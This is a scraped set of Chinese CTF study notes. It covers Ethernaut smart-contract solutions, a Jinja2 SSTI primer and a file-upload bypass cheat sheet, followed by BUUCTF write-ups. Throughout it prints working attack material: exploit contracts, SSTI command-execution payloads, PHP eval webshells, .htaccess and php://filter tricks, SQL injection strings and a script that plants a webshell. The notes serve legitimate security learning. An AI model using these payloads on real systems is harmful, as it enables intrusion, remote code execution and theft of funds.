以太坊主网即将进行合并,Rinkeby测试网络将于一年后停止运行,到时候就不知道这个靶场是否还会继续运行 不同版本的solidity语言特性不一样,可能会有兼容问题 Rinkeby的测试以太难以大量获取,做题不要一股脑把以太全塞进去了 1.Fallout描述12345678910111213这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?实际上... 也未必.Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ...这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的. 合约代码12345678910111213141516171819202122232425262728293031323334353637383940414243// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; }} 解:扔到remix里面调用Fal1out()函数就行了 2.Coin Flip描述这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。 合约代码123456789101112131415161718192021222324252627282930313233343536// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } }} 解:以太坊网络经典难题:熵的产生 使用区块哈希产生的随机数很容易被预测(只需要和它在同一个区块上就行了),只需要写个中继合约打进去就行了(原来的合约基础之上改一点点就行了) 1234567891011121314function exp() public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; c = CoinFlip(targetAddress); c.flip(side);} 注意:在某些预测随机数的题目中会返还以太,经常出现合约逻辑没有任何问题,但是就是运行出错的问题。 当合约收到一个calldata为空的call时,receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行,常见的以太币转账操作包括.send()、.transfer()函数发起的转账。如果没有receive函数存在,但是存在一个payable属性的fallback函数的话,这个fallback函数会在一次以太币转账中被调用。如果一个合约既没有receive函数也没有payable属性的fallback函数,那么这个合约不能通过常规的交易来接收以太币,并且会抛出一个异常。 3.Telephone合约代码12345678910111213141516pragma solidity ^0.6.0;contract Telephone { address public owner; constructor() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } }} 解:tx.orgin指的是交易的发起方,msg.sender是直接调用的一方,所以直接写合约调用这个函数就行了 123456789101112131415161718192021pragma solidity ^0.4.11;interface Telephone { function changeOwner(address _owner) external;}contract exploit { address targetAddr; Telephone t; address myaddr; function setInstance(address _targetAddr,address _myaddr) public { targetAddr=_targetAddr; myaddr= _myaddr; } function exp () public { t = Telephone(targetAddr); t.changeOwner(myaddr); }} 4.Token合约代码1234567891011121314151617181920212223// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; }} 解:很easy 溢出就完事了转个 115792089237316195423570985008687907853269984665640564039457584007913129639935就行了 5. Delegation合约代码123456789101112131415161718192021222324252627282930313233// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Delegate { address public owner; constructor(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; }}contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } }} 解:老生常谈, delegatecall相当于是去目标合约那块把相关的函数代码复制过来运行,而在solidity是个编译型语言,且存储使用的是slot[]这个大数组,变量是写死在代码里面的,一旦目标合约的变量环境和当前合约的变量环境不一样,就出大事,这题都做烂了,懒得写了 6.Force描述123有些合约就是拒绝你的付款,就是这么任性 ¯\\_(ツ)_/¯这一关的目标是使合约的余额大于0 合约代码123456789101112// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Force {/* MEOW ? /\\_/\\ / ____/ o o \\ /~____ =ø= / (______)__m_m)*/} 解:在Solidity里面,有个很特殊的自毁函数 selfdestruct(addr);随便写个合约,塞进去一个selfdestruct函数,然后指向题目 7.Vault合约代码123456789101112131415161718// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }} 解直接getStorageAt就行了,直接看 8.King合约代码12345678910111213141516171819202122232425262728// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract King { address payable king; uint public prize; address payable public owner; constructor() public payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address payable) { return king; }} 解:1234567891011contract Attack { constructor(address payable target) public payable{ require(msg.value == 0.15 ether,"Not enough!"); target.call.gas(1000000).value(0.15 ether)(""); } receive() external payable { revert(); }} 当submit题目打算回收“王权”时,它运行到king.transfer(msg.value);这一行时,由于king就是我们合约的地址,而我们合约的receive函数会执行revert,因此它会卡在这个状态无法执行,从而无法取回王权。 这个漏洞在实际合约中被用revert来执行DDos,让程序卡在某个状态无法运行。 麻了,在写攻击合约的时候又踩坑里了https://blockchain-academy.hs-mittweida.de/courses/solidity-coding-beginners-to-intermediate/lessons/solidity-2-sending-ether-receiving-ether-emitting-events/topic/sending-ether-send-vs-transfer-vs-call/ transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误: 付款方合约的余额不足,小于所要发送的value 接收方合约拒绝接收支付 send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。 call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下: (bool success, bytes memory data) = receivingAddress.call{value: 100}(“”); 将参数设置为空会触发接收合约的fallback函数,使用call同样也可以调用本合约内的函数,形式如下 (bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256(“function_name(uint256)”,args))); 9.Re-entrancy合约代码123456789101112131415161718192021222324252627282930// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {}} 解合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call.value(amount)() 来发送 Ether,处理完成后相应修改用户资产数据。 首先,使用call进行转账是个比较危险的操作,因为call会将当前剩下的gas一并发过去,这就导致目标合约在发送以太过去后会有足够的gas运行攻击合约里的receive函数,而攻击合约里的receive又会去调用目标合约里的转账函数,此时目标合约里记录转账的变量还未被修改,因此又可以继续转账然后如此往复。 10.Elevator合约代码123456789101112131415161718192021// SPDX-License-Identifier: MITpragma solidity ^0.6.0;interface Building { function isLastFloor(uint) external returns (bool);}contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } }} 目标是让top变为true,只需要返回不同结果就可以了 继承抽象合约,然后写函数就完事了。 11.Privacy很简单的题目,想在区块链上保护自己的隐私,太离谱了。 12345678910111213141516171819202122232425262728293031// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data; constructor(bytes32[3] memory _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */} 解:根据slot插槽,确定数据在哪里 123456slot[0] | (bool locked)|slot[1] |(uint256 ID )|slot[2] | (unit 16 awkwardness)(uint8 denomination)(unit8 flattening)|slot[3] |(bytes32[0] )|slot[4] |(bytes32[1] )|slot[5] |(bytes32[2] )| 合约中要求require(_key == bytes16(data[2])); 只需要web3.eth.getStroageAt(contract.address,5)然后截取结果的前32位发过去就行了 12. Gatekeeper One1234567891011121314151617181920212223242526272829303132// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft().mod(8191) == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }} 解:gateOne()这个好过,写个合约就行了 gateTwo()这个也好过….?应该?,中继合约里面.call限制一下数字? 13.Privacy123456789101112131415161718192021222324252627282930313233343536373839// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20('NaughtCoin', '0x0') public { player = _player; INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } } } 解:你写你的,我用我的 ERC20有自己的转账函数,咱为啥用他的转账函数呢? 16.delegate过 17. Recovery","link":"/2022/10/04/solidity/"},{"title":"SSTI学习","text":"首先是这广为人知的图片,就放在这里了,嗯,肥肠不错 0x01 从盘古开天辟地讲起…Python 一切皆对象首先,我们来梳理一下python里面错综复杂的关系python object基类_Python 一切皆对象 object是最顶层基类,object是type的实例,而type又继承object,type是自身的实例。 type也是自身的实例化,object创造type,type创造一切和他自己,有点像道生一,一生三,三生万物…..type连自己都不放过,把自己都变成了自己的对象。type自己实例化自己。 object是父子关系的顶端,所有的数据类型的父类都是它;type是类型实例关系的顶端,所有对象都是它的实例的。 0x02 SSTI 原理这是四大天王1234567{% ... %} for Statements {{ ... }} for Expressions to print to the template output {# ... #} for Comments not included in the template output # ... ## for Line Statements {%%} 主要用来声明变量,也可以用于条件语句和循环语句。 {% set c= 'kawhi' %} {% if 81==9*9 %}kawhi{% endif %} {% for i in ['1','2','3'] %}kawhi{%endfor%} {{}} 用于将表达式打印到模板输出,比如我们一般在里面输入2-1,2*2,或者是字符串,调用对象的方法,都会渲染出结果 {{2-1}} #输出1 {{2*2}} #输出4 我们通常会用4简单测试页面是否存在SSTI {##} 表示未包含在模板输出中的注释 ## 有和{%%}相同的效果 这里的模板注入主要用到的是{{}}和{%%} 类的知识总结12345678910111213141516171819202122232425262728__class__ 类的一个内置属性,表示实例对象的类。__base__ 类型对象的直接基类__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases____mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.__init__ 初始化类,返回的类型是function__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}current_app 应用上下文,一个全局变量。request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\\self\\fd/3').read()request.args.x1 get传参request.values.x1 所有参数request.cookies cookies参数request.headers 请求头参数request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)request.data post传参 (Content-Type:a/b)request.json post传json (Content-Type: application/json)config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}g {{g}}得到<flask.g of 'flask_ssti'> 构造链思路: 找到父类<type ‘object’> —> 寻找子类 —> 找关于命令执行或者文件操作的模块。 首先,需要一个类 然后,需要获得object类,因为所有的类都是继承自它,可以用__base__,__mro__[-1]拿到 ‘’.class.bases[0] <class ‘object’> ‘’.class.base <class ‘object’> ‘’.class.mro[1] <class ‘object’>‘’.class.mro[-1] <class ‘object’> 然后,需要用__subclasses__()拿到子类列表 最后,在子类列表里面找到getshell的类 0x03 Bypass过滤这部分,已经有文章整理的非常好了,俺就懒得搬运了,挂个链接 Flask-jinja2 SSTI 一般利用姿势 Refence细说Jinja2之SSTI&bypassPython魔法方法指南 - PyZhPython:实例讲解Python中的魔法函数(高级语法)Python type()函数:动态创建类Python的MROSSTI模板注入总结","link":"/2022/11/04/ssti%E5%AD%A6%E4%B9%A0/"},{"title":"文件上传备忘录","text":"0x01 文件上传-前端拦截 | 懂得都懂,前端拦截=无效操作js检查代码12345678910111213141516171819//upload-labs level1function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; }} 传个正常图,然后抓包修改就行了。 0x02 文件上传-后端校验MINE | 懂的都懂,还是无效操作只校验MIME1$_FILES['upload_file']['type'] == 'image/jpeg') 无效操作,直接修改就完事了 常见MIMETYPE audio/mpeg -> .mp3 application/msword -> .doc application/octet-stream -> .exe application/pdf -> .pdf application/x-javascript -> .js application/x-rar -> .rar application/zip -> .zip image/gif -> .gif image/jpeg -> .jpg / .jpeg image/png -> .png text/plain -> .txt text/html -> .html video/mp4 -> .mp4 0x03 文件上传-扩展名校验 | 你这waf保熟吗?姿势1: 黑名单校验,但黑名单不全其他后缀:*.php、*.php3、*.php4、*.PHP、*.phtml、*.pht 姿势2: 白名单校验,但是有解析漏洞截断绕过 /?upload=shell.php%00.jpg -> /?upload=shell.php 解析漏洞Apache服务器代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其它后缀的,例如在httpd.conf中如果配置有如下代码,则能够解析php和phtml文件 AddType application/x-httpd-php .php .phtml 在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。因此,例如上传的文件名为1.php.xxxx,因为后缀xxxx不可解析,所以向左解析后缀php。 例如:shell.php.qwe.asd ->shell.php NginxNginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过 正则匹配设置SCRIPT_FILENAME。当访问www.xxx.com/phpinfo.jpg/1.php这个 URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI。 原因是开启了 fix_pathinfo 这个选项,会触发 在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会 将phpinfo.jpg作为PHP文件来解析了。 形式: www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\\0.php 另一种方法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。 0x04 文件上传-内容检测 | 这文件要是有长有短,我直接吃了它1.magic number | 你不劈开这文件咋知道它熟不熟啊 magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。 1234GIF89a(...some binary data for image...)<?php phpinfo(); ?>(... skipping the rest of binary data ...) 2.过滤<?以及php @eval($_POST[cmd]); //需要php.ini开启短标签 3.正则替换老生常谈,双写 or 其他 4.二次渲染 | 你TM劈我文件是吧对渲染/加载测试的攻击方式是代码注入绕过。使用winhex在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般为图片的注释区。对二次渲染的攻击方式就是攻击文件加载器自身 0x05文件上传-配置文件 | 看,吸铁石.htaccess只是适用于apache,如果变成niginx或者iis则不会被解析文件上传漏洞之.htaccess .htaccess文件(“分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令将受到限制。管理员可以通过Apache的AllowOverride指令来设置。 具体实现: 1、上传.htaccess文件至服务器上传目录,此时apache在解析该目录下的php时将按照文件要求。只要文件名匹配到所定义的字符串,就会将该文件当作php解析。 123<FilesMatch "shana">SetHandler application/x-httpd-php</FilesMatch> 2、上传.htaccess文件设置的关键字的文件名,即上传一个黑名单没有过滤的随意后缀名文件,但文件名中一定要包含shana,如”shana.jpg”,内容为一句话木马。此时”shana.jpg”会被Apache当作php解析。 .user.ini很通用 1234//.user.iniGIF89aauto_prepend_file=xxx 会自动包含xxx 系统特性仅适用windows平台windows 系统会自动删 源码一开天地灭,选择视窗保平安 0x06 文件上传-条件竞争 | 你是故意来找猹?文件能传,但是传进去后就给你删了,通常情况下需要一边传一边访问,或者利用环境,让php迟一点删文件 0x07 文件上传-解压报错 | 你这压缩包是金子做的还是文件是金子做的这种情况要求比较高了,需要后端解压压缩包Dest0g3 520迎新赛 ezip原理:创建一个解压到一半会报错的文件,然后遗留shell文件getshell 0x08 文件上传-软连接传快捷方式进去,离谱 要求后端会解压文件 ln -s /flag flag zip -y flag.zip flag 0x09 文件上传-死亡exit | TMD刁民,敢杀我的马?情况一 file_put_contents($filename,”<?php exit();”.$content);编码绕过,base64 rot13 balabalafilename=php://filter/convert.base64-decode/resource=shell.php 或者写到.htaccess 12filename=php://filter/write=string.strip_tags/resource=.htaccesscontent=?>php_value auto_prepend_file flag.php 情况二 file_put_contents($content,”<?php exit();”.$content);rot13content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php二次编码 123456789101112<?php $char = 'r'; #构造r的二次编码 for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { $aaa = '%'.$ascii1.'%'.$ascii2; if(urldecode(urldecode($aaa)) == $char){ echo $char.': '.$aaa; echo "\\n"; } } } ?> 过滤器嵌套content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php base64编码content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php 第三种情况 file_put_contents($content,”“.\\nxxxxx);`` NaN upload-exp 这里放一些常用的文件上传,会继续更新1.前端文件上传1234<form id="upload-form" action="目标网站" method="post" enctype="multipart/form-data" > <input type="file" id="upload_file" name="upload_file" /> <br /> <input type="submit" name="submit" value="上传" /></form> 后端接收代码 123456789101112131415161718if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; }}?> **注:**前端的<input type="file" id="upload_file" name="upload_file" />中name=upload_file对应后端代码的$_FILES['upload_file'],前端的<input type="submit" name="submit" value="上传" />中name="submit"对应后端代码的isset($_POST['submit']),实战环境中还是需要对具体环境进行一些修改 2. .htaccess文件1234567<FilesMatch "shana">SetHandler application/x-httpd-php</FilesMatch>或者AddType application/x-httpd-php .png 3. .user.ini文件1auto_prepend_file=xxx 鲁棒性非常好,甚至可以 12GIF89aauto_prepend_file=xxx 自动包含xxx Refence:狼组安全团队公开知识库 upload-labs通关攻略文件上传总结文件上传漏洞之.htaccess.user.ini导致文件上传绕过php死亡exit()绕过关于file_put_contents的一些小测试","link":"/2022/10/31/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"BUU做题寄录","text":"[suctf 2019]EasySQL | sql_modesql 注入 乍一试,可以堆叠 看样子有过滤,简单测了一下,过滤了from,information 黑名单 1$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\\""; 查询语句 1select $_GET['query'] || flag from flag 脑洞:1234payload1: *,1payload2: 0;set sql_mode=PIPES_AS_CONCAT;select 0让sql把 || 当作拼接 [强网杯 2019]随便注 | 堆叠,无select 预编译上来就把黑名单一摆,好像已经无懈可击了 1return preg_match("/select|update|delete|drop|insert|where|\\./i",$inject); 测试一下,字符形 双引号emmm,啥都不会了,只能看看wp了 mysql里面,爆字段并不一定需要information_schema这个库 12345678910mysql> show columns from users;+----------+-------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+-------------+------+-----+---------+----------------+| id | int(3) | NO | PRI | NULL | auto_increment || username | varchar(20) | NO | | NULL | || password | varchar(20) | NO | | NULL | |+----------+-------------+------+-----+---------+----------------+3 rows in set (0.00 sec) 嗯哼~how 命令查看表中的「字段」,注意表名要用反引号包裹有用 附: MySQL专有无select可用MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。 也可以使用预编译转换成hex绕过 [SUCTF 2019]EasySQL喜提fuzz脚本 12345678910import requests url = "http://7e692c90-6f0b-4aa3-babf-89bb436f6b4f.node4.buuoj.cn:81/"with open('sql-fuzz.txt') as f: for line in f: data = {"query": line} r = requests.post(url,data=data) if('Nonono' in r.text): print(line.strip(),end=" ") 纯盲注了,啥都看不见,但是我感觉这题的画风是那么的似曾相识….. 1;set sql_mode=PIPES_AS_CONCAT;select 1 淦,上一题一模一样的payload [极客大挑战 2019]LoveSQL报错注入 http://0271ebd9-169b-4d78-8475-f6667e20789c.node4.buuoj.cn:81/check.php?username=admin' and updatexml(0x7e,concat(0x7e,database()),0x7e) %23&password=admin’ and sleep(3) 表名: 12geekuser: id,username,password geek库l0ve1ysq1: id,username,password geek库 admin824fc00cd6f8cd94403b365a80bcfbd cl4ywo_tai_nan_le glzjinglzjin_wants_a_girlfriend Z4cHAr7zCrbiao_ge_dddd_hm 报错注入,硬爆 123http://0271ebd9-169b-4d78-8475-f6667e20789c.node4.buuoj.cn:81/check.php?username=admin' and updatexml(1,concat(0x7e,(select substr((select password from l0ve1ysq1 where username='flag'),30,16)),0x7e),1) %23&password=admin' and sleep(3) [BJDCTF2020]Easy MD5一眼丁真ffifdyop 绕过中一个奇妙的字符串 经过md5加密后:276f722736c95d99e921722cf9ed621c 再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b 用途: select * from admin where password=''or'6<乱码>' 就相当于select * from admin where password=''or 1 实现sql注入 [极客大挑战 2019]BuyFlag简单,新手村难度cookie + 传参 +PHP特性 [HCTF 2018]admin[护网杯 2018]easy_tornado随便点了一个文件,发现了这个传参 http://62482047-0242-4246-89d7-23f69a549160.node4.buuoj.cn:81/file?filename=/welcome.txt&filehash=a7b1991d198deda606020048ccd83bee 根据hints.txt发现了md5(cookie_secret+md5(filename)) cookie_secret这玩意到底是个啥,俺不知道,肯定没法破解 不过阴差阳错访问到了这个 http://62482047-0242-4246-89d7-23f69a549160.node4.buuoj.cn:81/error?msg=2 看样子是python沙箱逃逸了,简单fuzz一下,透心凉,心飞扬 搜索一下, http://62482047-0242-4246-89d7-23f69a549160.node4.buuoj.cn:81/error?msg= {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '6dcbf553-b18a-46ba-9487-8cf74e2c43ca'} [ACTF2020 新生赛]Upload很好看的前端emmmphtm直接梭 [极客大挑战 2019]RCE ME典中典之 取反?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6); 禁用函数,典中典之UAF脚本,蚁剑直接梭 [NPUCTF2020]ezinclude上来题目意义不明?????右键源代码,还没看明白,F12打开控制台看到小饼干,懂了 flflflflag.php 嗯哼,200状态码的404? bp抓包,只找到一个文件包含的东西,之后就没有思路了…emm偷偷瞄了一眼达不留屁,dir.php果然是开扫吗?,不过buu没法扫了,就假装我扫到了这个文件吧 尝试暴力尝试了好久,发现并没有什么卵用,Php删的比我访问的要快,很头疼,瞄了一眼,发现是string.strip_tags过滤器让Php崩溃就能留下文件 12345678910111213141516171819202122232425262728import requestsimport base64url = "http://7894069c-9a98-4481-bc25-4a3e267ae86d.node4.buuoj.cn:81/flflflflag.php?file="def get(st): payload = url + st r = requests.get(payload) print(r.ok) #print(type(r.text)) try: print("[+ base64decode]\\n",base64.b64decode(r.text[196::][:-38:]).decode()) except Exception as e: print("[+ not encryption]\\n",r.text[196::][:-38:])def attack(): file = "<?php eval($_GET['cmd']);?>" filedata = {"file": file} payload = url + "php://filter/string.strip_tags/resource=/etc/passwd" r = requests.post(url=payload,files=filedata) print (r.ok) r2 = requests.get(url="http://7894069c-9a98-4481-bc25-4a3e267ae86d.node4.buuoj.cn:81/dir.php") print (r2.text)attack()while 1 : get(input('>')) 绝了,目录里面东找西找,结果flag在phpinfo里flag{6dc36ed0-9300-43fa-bbae-b85d1b9cbd69} [极客大挑战 2019]BabySQL简单测试一下,双写绕过,简单 数据库名geek 整一个快速判断哪里被替换的trick http://99e1704f-301f-41a7-8754-0231317a4c13.node4.buuoj.cn:81/check.php?username=a&password=admin' ununionion seselectlect 1,database(),(seselectlect "union select 1,group_concat(schema_name),3 from information_schema.schemata") %23 union select 1,group_concat(schema_name),3 from information_schema.schemata变成了 1,group_concat(schema_name),3 infmation_schema.schemata这里or也被替换了,记得双写一下information里面的or 所以,需要ununionion 